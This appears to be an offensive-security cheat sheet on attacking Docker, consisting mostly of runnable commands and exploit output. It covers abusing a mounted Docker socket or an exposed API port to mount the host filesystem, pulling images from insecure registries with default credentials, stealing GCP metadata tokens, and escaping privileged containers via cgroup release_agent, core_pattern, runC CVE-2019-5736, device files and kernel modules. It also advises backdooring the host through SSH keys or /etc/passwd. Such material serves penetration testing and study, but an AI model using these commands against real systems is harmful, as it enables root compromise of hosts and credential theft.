# Docker

> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

## Summary

- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
    - [Abusing CAP_SYS_ADMIN capability](#abusing-cap_sys_admin-capability)
    - [Abusing coredumps and core_pattern](#abusing-coredumps-and-core_pattern)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
- [References](#references)

## Tools

- [kost/dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations

    ```powershell
    dockscan unix:///var/run/docker.sock
    dockscan -r html -o myreport -v tcp://example.com:5422
    ```

- [stealthcopter/deepce](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)

    ```powershell
    ./deepce.sh 
    ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
    ./deepce.sh --no-enumeration --exploit SOCK --shadow
    ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
    ```

- [orisano/dlayer](https://github.com/orisano/dlayer) : dlayer is docker layer analyzer.

    ```powershell
    docker pull orisano/dlayer
    docker save image:tag | dlayer -i
    ```

- [wagoodman/dive](https://github.com/wagoodman/dive) : A tool for exploring each layer in a docker image

    ```powershell
    alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
    dive <your-image-tag>
    ```

## Mounted Docker Socket

Prerequisite:

- Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`

Usually found in `/var/run/docker.sock`, for example for Portainer.

```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```

Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)

```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

## Open Docker API Port

Prerequisite:

- Docker runned with `-H tcp://0.0.0.0:XXXX`

```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12
```

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.

```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```

From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.

## Insecure Docker Registry

Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.

```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```

Access a private registry and start a container with one of its image

```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```

Access a private registry using OAuth Token from Google

```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```

## Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one):

- `--privileged`
- `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.

### Abusing CAP_SYS_ADMIN capability

```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo " " | base64 -d | bash -'
```

Exploit breakdown :

```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
 
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

### Abusing coredumps and core_pattern

1. Find the mounting point using `mount`

    ```ps1
    $ mount | head -n 1
    overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
    ```

2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc`
3. Set the program to be executed on the coredumps

    ```ps1
    echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
    ```

4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash`

    ```cpp
    int main(void) {
        char buf[1];
        for (int i = 0; i < 100; i++) {
            buf[i] = 1;
        }
        return 0;
    }
    ```

5. Your payload should have been executed on the host

## Breaking out of Docker via runC

> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to.  - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : [twistlock/RunC-CVE-2019-5736](https://github.com/twistlock/RunC-CVE-2019-5736)

```powershell
docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
docker run --rm cve-2019-5736:malicious_image_POC
```

## Breaking out of containers using a device file

```powershell
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow
```

## Breaking out of Docker via kernel modules loading

> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.

Exploitation:

- Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
- Build with `make`
- Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
- `cd /root` in the new container
- Insert the kernel module with `./escape`
- Run `./execute`!

Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.

- `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
- `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.

The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.

Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).

The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.

## References

- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)
- [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/)
